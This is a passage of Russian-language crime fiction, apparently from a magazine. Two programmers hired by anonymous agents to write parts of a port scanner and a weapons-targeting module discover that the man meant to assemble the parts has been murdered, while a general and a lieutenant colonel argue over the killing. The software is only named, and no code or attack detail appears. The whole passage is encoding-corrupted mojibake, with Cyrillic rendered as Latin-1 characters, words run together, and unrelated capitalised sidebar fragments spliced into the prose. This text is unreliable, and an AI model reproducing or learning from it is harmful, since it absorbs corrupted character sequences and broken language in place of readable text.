âçãëÿä ãëóïîå, íåëåïîå è íåíóæíîå.Íî ÷åì áîëüøå îí äóìàë íàä òåì, êàê åãî ëîâêî è íåçàìåòíî ïîäâåëèê öåëè — òåì áîëüøå ïðèõîäèë ê ìûñëè î âñåñèëèè òîé îðãàíèçàöèè,÷òî ïðèñëàëà åìó ñâîèõ àãåíòîâ. Âîò òîëüêî ïîíÿòü, ÷òî æå îò íåãîõîòåëè, îí ñìîã ëèøü íà òðåòèé äåíü — êîãäà èçó÷èë òå íàðàáîòêè, ÷òîáûëè ïðåäëîæåíû åìó â êà÷åñòâå îáðàçöîâ.Îí äîëæåí áûë ñîçäàòü ñêàíåð. È âðîäå áû — íó ÷òî â ýòîìñëîæíîãî? Ñêàíåðîì áîëüøå, ñêàíåðîì ìåíüøå — â èíòåðíåòå èõïðóä ïðóäè. Íî ÷òî-òî òóò áûëî íå òàê…Ðûêîâ ñìîòðåë íà òî, ÷òî ó íåãî ïîëó÷àåòñÿ, è ïîæèìàë ïëå÷àìè— åìó ÿâíî íå ñêàçàëè âñåé ïðàâäû, íå ïîñòàâèëè ñòîïðîöåíòíî ïîíÿòíîåóñëîâèå. Åãî èñïîëüçîâàëè «â òåìíóþ». Ïîòîìó ÷òî ó ýòîãî ñêàíåðàÿâíî ÷åãî-òî íå õâàòàëî.Ðûêîâ àáñîëþòíî îò÷åòëèâî âèäåë òå òî÷êè ñîïðèêîñíîâåíèÿ, êîòîðûåâåëè — äîëæíû áûëè âåñòè — â íèêóäà. Êóäà-òî ê äðóãîé ïðîãðàììå,êîòîðóþ ïðèëåïÿò ê åãî ñêàíåðó — è ÷åðò åãî çíàåò, ÷òî èç ýòîãîïîëó÷èòñÿ. «Âåëèêîëåïíàÿ êîëõîçíàÿ ñíîïîâÿçàëêà», — êàê ñêàçàëÎñòàï Áåíäåð, ãëÿäÿ íà «Àíòèëîïó Ãíó» Àäàìà Êîçëåâè÷à…— È âåäü ÿ íàïèñàë, — òèõî ïðîèçíåñ Ðûêîâ, ãëÿäÿ íà ìåðòâåöà â êîðèäîðå.— Íàïèñàë ýòîò ïðîêëÿòûé ñêàíåð — ñîâåðøåííî íå ïîíèìàÿðÿäà ïðîöåäóð, êîòîðûå ïðèêðóòèë ê íåìó ïî çàêàçó òîé ïàðî÷êè.Íàäåþñü, íåêòî Àëìàçîâ, ñ êîòîðûì óæå ðàñïëàòèëèñü, ðàññêàæåòìíå, ÷òî æå íàïèñàë îí.


Ðûêîâ áûë óâåðåí: îí è åãî íåèçâåñòíûé íàïàðíèê ïèñàëè ïî êóñî÷êàìêàêóþ-òî î÷åíü êðèìèíàëüíóþ âåùü. Áóäó÷è ÷åëîâåêîì ëîãè-÷åñêè ìûñëÿùèì, îí ïðåêðàñíî ïîíÿë, ÷òî äëÿ êîíñïèðàöèè íåò íè÷åãîëó÷øå ïîäîáíîé ñèòóàöèè. Âñå ýòî áûëî îïèñàíî åùå Æþëü Âåðíîìâ åãî êíèãàõ î «Íàóòèëóñå» — êàïèòàí Íåìî ñòðîèë ñâîþ ëîäêó íà ðàçíûõçàâîäàõ ìèðà ïî ÷àñòÿì, íè îäèí èíæåíåð íå èìåë ïðåäñòàâëåíèÿî òîì, ÷òî äîëæíî ïîëó÷èòüñÿ. Òàê è â ñëó÷àå ñ íèìè — êóñêè ïðîãðàììûäîëæåí ñâåñòè âîåäèíî òîò, ÷üÿ êðîâü ñåé÷àñ áûëà ðàçìàçàíà íàñòåíå â êîðèäîðå. Íî îí óíåñ òàéíó ñ ñîáîé…Ðûêîâ íåìíîãî ïîñòîÿë â äâåðÿõ, à ïîòîì ïðåîäîëåë ëåãêóþáðåçãëèâîñòü è ñòðàõ, ïîäîøåë ê óáèòîìó è îñìîòðåë åãî ïðîïèòàííóþêðîâüþ îäåæäó.  êàðìàíàõ ðóáàøêè íè÷åãî íå áûëî — è ýòî áûëîçäîðîâî, ïîòîìó ÷òî îäíà ïóëÿ ïðîáèëà ëåâûé êàðìàí, òàì, ãäå ñåðäöå;âðÿä ëè êîíâåðò ñ äåíüãàìè óöåëåë áû â òàêîé ïåðåäðÿãå.Êóëåê ñ îêóðêàìè ÿâíî íå áûë ïîõîæ íà èñòî÷íèê äåíåã; Ðûêîâîòïèõíóë åãî ïîäàëüøå, ïîòîì ïîøàðèë â êàðìàíàõ áðþê. Ïóñòî. Îñòàâàëîñüèñêàòü ïî âñåé êâàðòèðå.Îí ñäåëàë íåñêîëüêî øàãîâ ïî êîðèäîðó, êîãäà ñçàäè ðàçäàëñÿëåãêèé øóì. Ðûêîâ çàìåð; ñåðäöå çàñòó÷àëî, ñëîâíî ïóëåìåò. Âìèã ïîõîëîäåâ,îí ìåäëåííî îáåðíóëñÿ — è óâèäåë, êàê òðóï õîçÿèíà, ïîòðåâîæåííûéâî âðåìÿ îáûñêà, çàâàëèâàåòñÿ íàáîê. Ìåðòâåö òêíóëñÿëáîì â ñòîéêó äëÿ îáóâè è çàìåð — äàëüøå åìó óæå ïàäàòü áûëî íåêóäà.Ðûêîâ ïîïûòàëñÿ ïðîãëîòèòü êîìîê ñëþíû — ñðàçó íå ïîëó÷èëîñü,âî ðòó áûëî óæàñ êàê ñóõî. Èç ãîðëà âûðâàëñÿ ñíà÷àëà òèõèé ñòîí, ïîòîìíåñêîëüêî êðåïêèõ, íî òàêèõ æå òèõèõ ìàòþãîâ.— Òàê æå ìîæíî ñåäûì îñòàòüñÿ, — ïðîñêðèïåë îí çóáàìè, ïðèñëóøàëñÿè ïðîäîëæèë ïîèñêè ñâîåãî ãîíîðàðà. — Íàäî áû ïîáûñòðåå —÷åðåç ïÿòü ìèíóò ïðèäåò ìîé êîëëåãà…Îí òùàòåëüíî îáûñêàë êîìíàòó — è êîãäà â äâåðü ïîñòó÷àëè,êîíâåðò ñ ãîíîðàðîì ëåæàë óæå ó íåãî â êàðìàíå.Ïðÿòàòü äåíüãè ìåðòâûé õîçÿèí ÿâíî íå óìåë…* * * * *Îíè óäîáíî ðàñïîëîæèëèñü â êðåñëàõ äðóã íàïðîòèâ äðóãà. Ðûêîâ âíèìàòåëüíîðàññìàòðèâàë ñâîåãî íîâîãî êîëëåãó ïî ïðîãðàììåðñêîìóöåõó, êîòîðûé, íåñìîòðÿ íà áûñòðóþ àäàïòàöèþ ê ïðîèñõîäÿùåìó,âðåìÿ îò âðåìåíè êîñèëñÿ â ñòîðîíó êîðèäîðà, ãäå ëåæàë ìåðòâûé õîçÿèíêâàðòèðû.Ðûêîâ, ê òîìó âðåìåíè íàøåäøèé â øêàôó è ñâîé ãîíîðàð, è äîêóìåíòûóáèòîãî, óæå çíàë, ÷òî ãðóäü ïðîñòðåëèëè ãðàæäàíèíó ËóêèíóÑåðãåþ Äìèòðèåâè÷ó, èìåþùåìó äèïëîì î âûñøåì îáðàçîâàíèè, êîòîðûììîæíî áûëî, îñòàíüñÿ îí â æèâûõ, ãîðäèòüñÿ åùå î÷åíü è î÷åíüäîëãî.  ãîëîâå êîå-÷òî ïîòèõîíüêó ïðîÿñíÿëîñü…È âîò òåïåðü îí ïðèñòàëüíî ðàçãëÿäûâàë Àëìàçîâà, íå òîðîïÿñüçàäàâàòü åìó âîïðîñû. Ïåðåä ñîáîé îí âèäåë ÷åëîâåêà ñðåäíèõ ëåò,äåðæàùåãîñÿ äîñòàòî÷íî óâåðåííî, íî ñ íåêîòîðîé äîëåé ðàñòåðÿííîñòè.Òðóï â êîðèäîðå çíà÷èòåëüíî ïîäíÿë óðîâåíü àäðåíàëèíà â åãîêðîâè, îí ñ îãðîìíûì òðóäîì ïðåîäîëåë â ñåáå íåïðèÿçíü, ñòðàõ è íåâåðèåè âîøåë â êîìíàòó.  îòëè÷èå îò Ðûêîâà, ïðèøåë îí âîâðåìÿ,âåæëèâî ñòîÿë íà ïëîùàäêå âîçëå îòêðûòîé äâåðè â îæèäàíèè õîçÿèíàè íå òîðîïèëñÿ ïðåäñòàâëÿòüñÿ. Ðûêîâ óæå ãðåøèë íà òî, ÷òî ñóùåñòâîâàëêàêîé-òî ïàðîëü, êîòîðûé Ëóêèí óíåñ ñ ñîáîé â ìîãèëó — íîÀëìàçîâ, íàïîìèíàÿ ïðîôåññîðà Ïëåéøíåðà, íàçâàëñÿ ïîñëå íåêîòîðûõðàçäóìèé, çà÷åì-òî ïîõëîïàë ñåáÿ ïî êàðìàíó êóðòêè è ïåðåñòóïèëïîðîã.Óáèòîãî îí óâèäåë ñðàçó è êàê-òî íåïðîèçâîëüíî ðâàíóëñÿ íàçàä,íî Ðûêîâ åãî óäåðæàë çà ðóêàâ. Îíè èçîáðàçèëè êàêèå-òî òðåïûõàíèÿ,ïîõîæèå íà áîðüáó äâóõ ðàõèòèêîâ — Ðûêîâ íå îñîáî ñòàðàëñÿ óäåðæàòü,à Àëìàçîâ, ïîõîæå, ïðîñòî ñîáèðàëñÿ óïàñòü â îáìîðîê îò óâèäåííîãîè îñîáîãî ñîïðîòèâëåíèÿ íå îêàçûâàë.  èòîãå îíè îêàçàëèñüòàì, ãäå è ñèäåëè óæå ìîë÷à ìèíóò äåñÿòü — Ðûêîâ òîëüêî âñòàâàë íàíåñêîëüêî ñåêóíä, âñïîìíèâ, ÷òî âõîäíóþ äâåðü îíè òàê è îñòàâèëèîòêðûòîé. Ïðèøëîñü çàêðûòü çàìîê, ÷òîáû îãðàäèòü ñåáÿ îò âòîðæåíèÿïîñòîðîííèõ. Àëìàçîâ íàñòîðîæåííî ïîñòóêèâàë ïàëüöàìè ïî ïîäëîêîòíèêóè âñå âðåìÿ ÷òî-òî ïðîâåðÿë â êàðìàíå.— Áóäåì çíàêîìèòüñÿ? — íå óäåðæàëñÿ Ðûêîâ. Àëìàçîâ ïîñìîòðåë íàíåãî, ïîòîì åùå ðàç â êîðèäîð èñïðîñèë:— Ìîæåò, åãî íàêðûòü ÷åì-íèáóäü?— Ñîãëàñåí, — Ðûêîâ â î÷åðåäíîé ðàç âñòàë, ïðîøåë â ïðèõîæóþ è,ñíÿâ ñ âåøàëêè ïëàù, íàêèíóë íà Ëóêèíà. — Óñòðîèò? — ñïðîñèë îí,íå îòõîäÿ îò ìåðòâåöà.Àëìàçîâ êèâíóë è ñêàçàë:— Ìåíÿ Àíäðåé çîâóò. Àíäðåé Àëìàçîâ.— Àíòîí Ðûêîâ. À ýòî áûë ÷åëîâåê, ê êîòîðîìó ìû íåñëè ñâîè ïðîãðàììû,— îí ïîïðàâèë ïëàù èâåðíóëñÿ â êîìíàòó. — ß íàøåëäîêóìåíòû… Ëóêèí, ïðîãðàììèñò.Ïîêà âñå.Àëìàçîâ ïîïðîáîâàë íàâêóñ ôàìèëèþ óáèòîãî, îòðèöàòåëüíîïîêà÷àë ãîëîâîé:— Íèêîãäà íå ñòàëêèâàëñÿ.— Âû çíàåòå, êòî íàíèìàë âàñ?— Äâîå… — Àëìàçîâ ïîæàëïëå÷àìè. — Êàêèå-òî còðàííûå.— Îïèñàòü ñìîæåòå?— Äà îíè… Íåçàïîìèíàþùèåñÿ.Ñåðûå.— Òî÷íî… — êèâíóë Ðûêîâ.— Òå æå, ÷òî è êî ìíå ïðèõîäèëè.ß òîæå íèêîãî íå çàïîìíèë.Äåíüãè äàâàëè?— À âàì-òî ÷òî?ÂÐÀ×ÈÇÀÏÐÅÙÀÞÒ.À ÏÎÐÎÉÕÎ×ÅÒÑß —ÀÆ ÄÎ ÑËÅÇ…ÒÛ ÌÍÅ ÄÀÉÐÅÇÓËÜÒÀÒ!— Ïðîñòî â ïèñüìå áûëî íàïèñàíî, ÷òî ìíå çàïëàòÿò ñåãîäíÿ, à ñ âàìèóæå ðàññ÷èòàëèñü — çàðàíåå. Ìíå äàæå êàê-òî îáèäíî ñòàëî — íåâ ñìûñëå äåíåã, à â îòíîøåíèè òîãî, ÷òî âàì çàïëàòèëè âïåðåä. Ïîëó-÷àåòñÿ, ÷òî âàì äîâåðÿëè — à ìíå íåò…Ðûêîâ ïîæàë ïëå÷àìè è âîïðîñèòåëüíî ïîñìîòðåë íà Àëìàçîâà,îæèäàÿ îòâåòà èëè êàêîãî-íèáóäü êîììåíòàðèÿ.— Ó ìåíÿ — îáñòîÿòåëüñòâà… — Àëìàçîâ âèíîâàòî ïîñìîòðåë íà Ðûêîâà.— Ñåìåéíûå. Âûñøåå îáðàçîâàíèå. Ó äî÷åðè. Íàäî áûëî ïëàòèòü,è ñðî÷íî. ß íå ìîã æäàòü.— È âàì ïîâåðèëè? — Ðûêîâ óäèâëåííî ïîäíÿë áðîâè. — Âîò òàê âîò— âçÿëè è ïîâåðèëè íà ñëîâî?Àëìàçîâ ðàçâåë ðóêàìè:— Íå òî ÷òîáû ïîâåðèëè. Äåíåã äàëè. Ñðàçó. Ýòî, çíàåòå, êàê â «Åðàëàøå»áûëî êîãäà-òî — áðàçèëüñêàÿ ñèñòåìà. Åñëè ÷òî íå òàê — ìîÿäî÷ü ïîä ïðèöåëîì. Ñíà÷àëà îíà, à ïîòîì óæå ÿ.Ðûêîâ ïðèêóñèë ãóáó è âäðóã ïî÷óâñòâîâàë, â êàêîå äåðüìî îíâëÿïàëñÿ. Òå äâîå, ÷òî èãðàëè ñ íèì â äóðà÷êîâ, âûñòàâèëè Àëìàçîâóíåäâóñìûñëåííûé óëüòèìàòóì. Ñëàâà áîãó, ó íåãî ñàìîãî âîçìîæíîñòüøàíòàæà èñêëþ÷àëàñü — äåòüìè íå îáçàâåëñÿ, ðîäèòåëè óìåðëèäàâíî… Áëèçêèõ ëþäåé, çà æèçíü êîòîðûõ îí áû ïåðåæèâàë, â íàñòîÿùèéìîìåíò ó Ðûêîâà íå áûëî.— Ñêàæèòå, — âûäåðæàâ ïàóçó, ñïðîñèë îí, — êàê âû ñ÷èòàåòå, íàìñòîèò ïðîäîëæàòü èãðó?— Êàêóþ èãðó? — Àëìàçîâ óäèâëåííî ïîäíÿë áðîâè. — ß íå âèæóçäåñü íèêàêîé èãðû. Âñå ïðåäåëüíî ðåàëüíî. Íàì äàëè çàäàíèå — âàìè ìíå. Ìû îáà — âû, íàäåþñü, òîæå — åãî âûïîëíèëè è ïðèíåñëè âñåïî íàçíà÷åíèþ. ×åëîâåêà, êîòîðûé îòâå÷àë çà òî, ÷òîáû ïðèíÿòü ó íàñðàáîòó, óáèëè. È âû ñ÷èòàåòå, ÷òî ñ íàìè êòî-òî èãðàåò? Òîãäà êàê íàçâàòüýòó èãðó? «Êîøêè-ìûøêè»? «Ïðÿòêè»?— Ñêîðåå, «Êàçàêè-ðàçáîéíèêè», — áóðêíóë Ðûêîâ. — Äà óæ, âû ïðàâû.È âñå-òàêè — ðàç óæ ìû çäåñü, ìîæåò, ñòîèò âûéòè íà ñâÿçü ñ ÷åëîâåêîì,óêàçàííûì â ïîñëåäíåì ïèñüìå?— Ñ êàêîé öåëüþ? — Àëìàçîâ ïðîìîêíóë ïëàòêîì âëàæíóþ øåþ. —Ïðèçîâàÿ èãðà? Åñëè çäåñü âñå î÷åíü è î÷åíü ñåðüåçíî — áîþñü, ñ íàìèíèêòî íå çàõî÷åò èìåòü äåëà. Íàâåðíÿêà òàì åñòü ïàðîëè äëÿ ñâÿçè,íåêèå óñëîâíîñòè, êîòîðûå íàì íå ïðåîäîëåòü. Ïîñòàâüòå ñåáÿ íà ìåñòîòîãî, êòî íàçâàí «èíñòðóêòîðîì». Âû áû ïîâåðèëè ïåðâîìó, êòî ïîñòó÷àëñÿê âàì ÷åðåç Ñåòü?Ðûêîâ îòðèöàòåëüíî ïîêà÷àë ãîëîâîé.  ãîëîâå îí óæå ïðîêðóòèëïàðó äèàëîãîâ ñ ýòèì «èíñòðóêòîðîì», íî âîò íàñ÷åò ïàðîëåé —òóò áûëî ãëóõî…— Ñêàæèòå, à ÷òî… Òî åñòü — êàêîå çàäàíèå áûëî äàíî âàì? — ïîèíòåðåñîâàëñÿÐûêîâ ñïóñòÿ íåêîòîðîå âðåìÿ. Ñëèøêîì òÿãîñòíûì áûëîñèäåíèå â ýòîé êîìíàòå â ïîëíîé òèøèíå — êàæäûé èç íèõ äóìàëî òîì, ÷òî æå âñå-òàêè ìîæåò ñëó÷èòüñÿ äàëüøå…— Ìîäóëü, — îòîçâàëñÿ Àëìàçîâ, óæå áåçî âñÿêèõ ýìîöèé ðàçãëÿäûâàÿòðóï Ëóêèíà â êîðèäîðå. — Ìîäóëü ñíàéïåðñêîé ñòðåëüáû — ýòîÿ åãî òàê íàçâàë. Íà ñàìîì äåëå ýòî äîëæíî áûëî áûòü íå÷òî áîëüøåå.Ðàñøèðÿåìîå, òàê ñêàçàòü. Åñëè êî âñåìó ýòîìó ïðèêðóòèòü êîå-êàêèåóñëîâèÿ, òî… Â îáùåì, ìîæíî ñòðåëÿòü èç ÷åãî óãîäíî è êóäà óãîäíî.Ñî ñíàéïåðñêîé òî÷íîñòüþ.Ðûêîâ ìîë÷àë. Äàð ðå÷è êóäà-òî ïîäåâàëñÿ. Íàïðî÷ü. Âåäü åñëèîíè äîëæíû áûëè ñäåëàòü ÷àñòè îäíîãî öåëîãî — òî íà êîé õðåí ñäàëñÿåãî ñêàíåð ïîðòîâ, ïóñòü è î÷åíü õèòðûé, ñî ñâîåé èçþìèíêîé, åñëè åãîíàïàðíèê ïî «÷åðíîìó äåëó» ñîçäàë òàêóþ ìîùíóþ âîåííóþ èãðóøêó?107 |


108 | ÎÔÔÒÎÏÈÊÀëìàçîâ òåì âðåìåíåì âçäîõíóë, ñíîâà ïîõëîïàë ñåáÿ ïî êàðìàíóè âûòàùèë îòòóäà äèñê.— Âîò, — ïîêàçàë îí Ðûêîâó. — Ìîäóëü…Òîò ñóìåë òîëüêî êèâíóòü â îòâåò…* * * * *— Âû îòäàåòå ñåáå îò÷åò â ïðîèñõîäÿùåì? — ãåíåðàë ãîâîðèë ìåäëåííî,âçâåøèâàÿ êàæäîå ñëîâî. — Âû ïîíèìàåòå, â êàêóþ ïðîïàñòü ïîêàòèìñÿâñå ìû, åñëè âàøè ðàññóæäåíèÿ î ñìûñëå æèçíè è ïñèõîëîãèçìåñèòóàöèè îêàæóòñÿ íå áîëåå ÷åì ðàññóæäåíèÿìè íàä òðóïîì? Ýòàêîéçàóïîêîéíîé ñëóæáîé — íàä âàøèì è ìîèì ðàññòðåëÿííûìè òåëàìè?Ëóêîâíèêîâ, êàê è âñåãäà ñòîÿë íàâûòÿæêó, ãëÿäÿ âûïó÷åííûìèãëàçàìè êóäà-òî â ñòåíó. Ãåíåðàë ïðèùóðèëñÿ è ïîñòó÷àë êîí-÷èêàìè ïàëüöåâ ïî ñòîëó. Ïîäïîëêîâíèê íå ïîäàë è âèäà, ÷òî ñëûøèòêàêîé-òî çâóê.— Âû ïîíèìàåòå, ÷òî ýòî äàæå íå ñàìîóïðàâñòâî?Ëóêîâíèêîâ ìîë÷àë. Ñòàâêè áûëè ñäåëàíû. Îáðàòíîãî õîäà íåò.— Êîãäà ÿ ãîâîðèë «õðåí ñ íèì», ÿ… Ìíå äàæå â ãîëîâó…Ãåíåðàë ñåë â êðåñëî è îáõâàòèë ãîëîâó ðóêàìè.— ×èïïîëèíî, ñóêà… — îí íå ìîã íè÷åãî ñêàçàòü, êðîìå äâóõ ýòèõñëîâ, â êîòîðûõ âìåñòå ñîáðàëèñü è íåíàâèñòü ê èäèîòó-ïîäïîëêîâíèêó,çàíèìàþùåìóñÿ êàêèìè-òî çàêóëèñíûìè èãðàìè, è ñòðàõ çà ñâîþæèçíü, è áåçûñõîäíîñòü. — ×òî æ òû òàê ñî ìíîé…Ëóêîâíèêîâ ñïîêîéíî ïðîãëîòèë è êëè÷êó, è «ñóêó», ïîñëå ÷åãîáåçî âñÿêîé êîìàíäû ñòàë «âîëüíî» è ñïðîñèë:— Âû â ñîñòîÿíèè ìåíÿ âûñëóøàòü, òîâàðèù ãåíåðàë-ëåéòåíàíò? ß ãîòîâïðèâåñòè íåñêîëüêî àðãóìåíòîâ â ïîëüçó òîãî, ÷òî ìîÿ ñõåìà…ìîé ïëàí… ÷òî âñå ñðàáîòàåò.Ãåíåðàë ïîäíÿë íà íåãî íåâèäÿùèé âçãëÿä è ñïðîñèë:— Êòî çàñòðåëèë Ëóêèíà?Ïîäïîëêîâíèê âçäîõíóë è îòâåòèë:— ß.— Òî åñòü? — êîìàíäóþùèé íàïðÿãñÿ è âïèëñÿ ãëàçàìè, âíåçàïíî îáðåòøèìèçðåíèå, â ïîä÷èíåííîãî. — Òû? Òû, Ïåñòàëîööè?— ×èïïîëèíî, — ìàøèíàëüíî ïîïðàâèë Ëóêîâíèêîâ. — Õîòÿ, åñëèóãîäíî… Äåëî â òîì, ÷òî íàì íóæíî îò ýòîé ïàðî÷êè òîëüêî îäíî — ðåçóëüòàò.ß æå íå ñâîèìè ðóêàìè…— ß ïîíèìàþ, — ãåíåðàë êàê-òî áåñïîìîùíî ìàññèðîâàë ïàëüöû èïîñòîÿííî õîòåë âçÿòü ñî ñòîëà çàæèãàëêó, íî îòäåðãèâàë îò íåå ðóêè,ñëîâíî îíà áûëà ðàñêàëåííîé. — Ðåçóëüòàò è åùå ðàç ðåçóëüòàò… Ëóêèíáûë ëó÷øèì, ïîíèìàåøü… Îí âûïîëíèë çà ïîñëåäíèå òðè ãîäàíåñêîëüêî çàäàíèé. Îí áûë ãåíèé, òû ýòî ïîíèìàåøü, ñâîëî÷ü òû òàêàÿ…È òåïåðü îí óáèò.Êîìàíäóþùèé âñòàë, îáîøåë ñòîë è ïðèáëèçèëñÿ ê Ëóêîâíèêîâó.Òîò àâòîìàòè÷åñêè íàïðÿã òåëî, âûòÿíóâøèñü â ñòðóíó. Ñòîÿòü «âîëüíî»åìó ïî÷åìó-òî âíåçàïíî ðàñõîòåëîñü.— ß ãîòîâ âûñëóøàòü òâîè áðåäíè, ïîäïîëêîâíèê, — ñóõî êèâíóë ãåíåðàë,åäâà íå çàäåâ Ëóêîâíèêîâà. — È äàæå âûñëóøàþ èõ, íå ïðîðîíèâíè ñëîâà. Íî åñëè ìåíÿ íå óñòðîèò òâîÿ âåðñèÿ ñîáûòèé — ïîéäåøüïîä òàíê. Ïåðåìåëåòñÿ — êîñòåé íå íàéäóò. Âìåñòå ñ Ëóêèíûì ïîõîðîíþ,ó âàñ äàæå ôàìèëèè ïî÷òè îäèíàêîâûå, ñîéäåøü çà îïå÷àòêó â ïîõîðîííîìëèñòå, ñêîòèíà, åñëè ÷òî íåòàê. Òàê ÷òî íå ðàññ÷èòûâàé â ñëó÷àåÍÀØÈÄÀÌÛÑ ÂÈÍÒÎÂÊÀÌÈÒÀÙÈËÈÑÜ ÊÎÍÖÅÎÑÍÎÂÍÎÉÃÐÓÏÏÛ,ÍÅ ÏÐÅÒÅÍÄÓßÍÈ ÍÀ ÊÀÊÈÅÌÅÄÀËÈïðîâàëà îòäåëàòüñÿ çâåçäîé íà ïîãîíàõ.Ëèøèøüñÿ çàäíèöû. È ãîëîâû. Îäíîâðåìåííî.Ïåñòàëîööè…Ëóêîâíèêîâ âûñëóøàë âñå ýòî èâäðóã ïî÷óâñòâîâàë, ÷òî íå áîèòñÿ. Ñíà-÷àëà áîÿëñÿ, à òåïåðü íåò. Ïóñòü ãåíåðàëçà ñâîþ äà÷ó òðÿñåòñÿ. È ïîíÿâ ýòî, îíñíÿë ôóðàæêó, êîòîðàÿ áûëà èçíóòðèìîêðîé îò ïîòà, íåáðåæíî áðîñèë åå íàñòîë è îïóñòèëñÿ â êðåñëî ðÿäîì ñ ãåíåðàëüñêèì.Êîìàíäóþùèé óäèâëåííîâçãëÿíóë íà íåãî, ïîòîì ÷òî-òî øåïíóëïîä íîñ è âåðíóëñÿ íà ñâîå ìåñòî.— Âñå äåëî â òîì, ÷òî Ëóêèí — à ïîñëåâàøèõ ñëîâ, òîâàðèù ãåíåðàë, ÿ åãî ÷óòüëè íå êàê òåçêó âîñïðèíèìàþ — Ëóêèíäåéñòâèòåëüíî áûë ãåíèé, — íà÷àë ïîäïîëêîâíèê.— Ãåíèé, êàêèõ ìàëî. È ÿ ñêàæóâàì áîëüøå — êàêèõ íåò.— Êàê â âîäó ñìîòðèøü, Ëóêîâíèêîâ, —ãåíåðàë âñå-òàêè âçÿë çàæèãàëêó, âûñåêîãîíü è ñìîòðåë íà ñîáåñåäíèêà ÷åðåç ÿçû÷îê ïëàìåíè. — Òåïåðü òî÷íîíåò. Òû íå ×èïïîëèíî — òû Äàíòåñ. Òû…— Ñëóøàéòå äàëüøå, òîâàðèù ãåíåðàë-ëåéòåíàíò. Íàñ÷åò ãåíèÿ ó ìåíÿíåìíîãî äðóãîå ìíåíèå…* * * * *Íà ñàìîì äåëå Àëìàçîâ ïîãðåøèë ïðîòèâ èñòèíû, õâàñòàÿñü ïåðåäÐûêîâûì ñâîåé ðàáîòîé. Íå òàê óæ ìíîãî òðóäà áûëî âëîæåíî â òî,÷òî îí äåðæàë ñåé÷àñ â ðóêàõ. Êîãäà-òî, ãîäà òðè íàçàä, îí ðàáîòàëâ îäíîì ñåêðåòíîì êîíñòðóêòîðñêîì áþðî ïîëóâîåííîãî îáðàçöà. Ðàáîòàëñàìûì îáûêíîâåííûì èíæåíåðîì è ñëó÷àéíî áûë âûäâèíóò ðóêîâîäñòâîìâ ÷èñëî òåõ, êîãî îòïðàâèëè íà ó÷åáó — îñâàèâàòü ñîâðåìåííûåèíôîðìàöèîííûå òåõíîëîãèè â ñôåðå ïðîèçâîäñòâà. Ðîëüñëó÷àÿ áûëà â åãî æèçíè íà òîò ìîìåíò êðàéíå âåëèêà — è ê òîìó, ÷òîîí îêàçàëñÿ â ÷èñëå ïÿòè êàíäèäàòîâ, âûáðàííûõ íà ýòó ðîëü, òîæåïðèëîæèëî ðóêó ïðîâèäåíèå.Êóðñû áûëè èíòåðåñíûìè, ïðîäóêòèâíûìè, ðàáîòàëè îíè ñ ëèöåíçèîííûìèïðîãðàììàìè — áûë è àìåðèêàíñêèé ñîôò, è àíãëèéñêèé,è ìåñòàìè íàø, îòå÷åñòâåííûé. È âñå ñ êàêîé-òî õèòðîé íàïðàâëåííîñòüþ— ó Àëìàçîâà áûñòðî ñëîæèëîñü âïå÷àòëåíèå, ÷òî åùåíåìíîãî, è îíè òóò ñïðîåêòèðóþò ïî ìåíüøåé ìåðå àòîìíóþ áîìáó.Åãî êîëëåãè ïî ïðîãðàììåðñêî-èíæåíåðíîìó öåõó òîæå ïðîÿâèëè íåäþæèííóþïðûòü â îñâîåíèè ìàòåðèàëà, íî, êàê îêàçàëîñü, ñâÿòî âåðèëèâ àáñîëþòíî ãðàæäàíñêóþ íàïðàâëåííîñòü êóðñîâ — â ðåçóëüòàòå÷åãî áëàãîïîëó÷íî ïî èõ îêîí÷àíèè âåðíóëèñü â ðîäíûå ñòåíû ïðîäîëæàòüíà÷àòîå äåëî.Àëìàçîâà æå ñðàçó ïîñëå ýêçàìåíà, íà êîòîðîì îí áëåñòÿùåñïðàâèëñÿ ñî âñåìè çàäàíèÿìè, îòîçâàëè â êàêîé-òî êàáèíåò, åäâà ëèíå â ïîäâàëüíîì ïîìåùåíèè — íèêàêèõ òåáå óêàçàòåëåé è òàáëè÷åê,íèêàêèõ íàìåêîâ íà òî, êóäà è ê êîìó èäåò. Ïðèãëàñèëè, ïðîâåëè, àêêóðàòíîâïóñòèëè è òàêæå àêêóðàòíî çàòâîðèëè çà ñïèíîé äâåðü…×åëîâåê â êàáèíåòå íå áûë åìó çíàêîì. Îí íèêîãäà íå âèäåë åãîâ èíñòèòóòå, íèêîãäà íå ñòàëêèâàëñÿ ñ íèì íà êóðñàõ — è, îäíàêî æå,áûë óâåðåí, ÷òî çíàåò åãî óæå äàâíî. Áûëî â íåì ÷òî-òî òàêîå — äðóæåëþáíîå,çàïîìèíàþùååñÿ, ïðèâåòëèâîå… È Àëìàçîâ ñðàçó ïðîíèêñÿê íåìó äîâåðèåì.×åëîâåê ïðèãëàñèë åãî ïðèñåñòü, óãîñòèë äîðîãèìè ñèãàðåòàìè,õîðîøèì êîíüÿêîì, ïîõâàëèë çà óñåðäèå, ïîçäðàâèë ñ óñïåøíîé ñäà-÷åé ýêçàìåíîâ. Àëìàçîâ ÷óâñòâîâàë, ÷òî åìó íåïðèêðûòî ëüñòÿò — íîêîíüÿê óæå ñäåëàë ñâîå äåëî, ïîõâàëû ëåãëè íà áëàãîäàòíóþ ïî÷âó…«Õî÷ó ëè ÿ ðàáîòàòü ïî íîâîé ñïåöèàëüíîñòè? Êîíå÷íî! È áîëüøåçàðàáàòûâàòü? Ñàìî ñîáîé! Îò ÷åãî ïðèäåòñÿ îòêàçàòüñÿ, îò îáùåíèÿ?Ñ êåì? Ñ äðóçüÿìè? Ïî÷åìó? Íîâàÿ ðàáîòà ïîäðàçóìåâàåò ñîâåðøåííîäðóãîé ðåæèì ñåêðåòíîñòè? Äà ðàäè áîãà! Æåíàò? Äà. Åñòüäî÷ü… Óñëîâèÿ äëÿ ðàáîòû æåíû è îáó÷åíèÿ äî÷åðè? Äà îáåèìè ðóêàìè«çà». Êîãäà ïðèñòóïàòü-òî? Õîòü çàâòðà… ×óäåñíî. Äàâàéòå àäðåñ,êóäà ïðèõîäèòü è âî ñêîëüêî…»Òàê åãî âçÿëè íà ðàáîòó. Äåíüãè ïëàòèëè èñïðàâíî — è õîðîøèå.Îí ïðîãðàììèðîâàë, ñ÷èòàë, ñîçäàâàë ñèñòåìû óïðàâëåíèÿ âîîðóæåíèåì,ïîíÿòèÿ íå èìåÿ, ãäå, êîãäà è êàê áóäåò ïðèìåíÿòüñÿ òî, ÷òî îíñäåëàë. Àôãàíèñòàí ê òîìó âðåìåíè óæå áûë ëåãåíäîé, ×å÷íÿ òîæåïîñòåïåííî ïðåâðàùàëàñü â ìèðíóþ ñòðàíó. 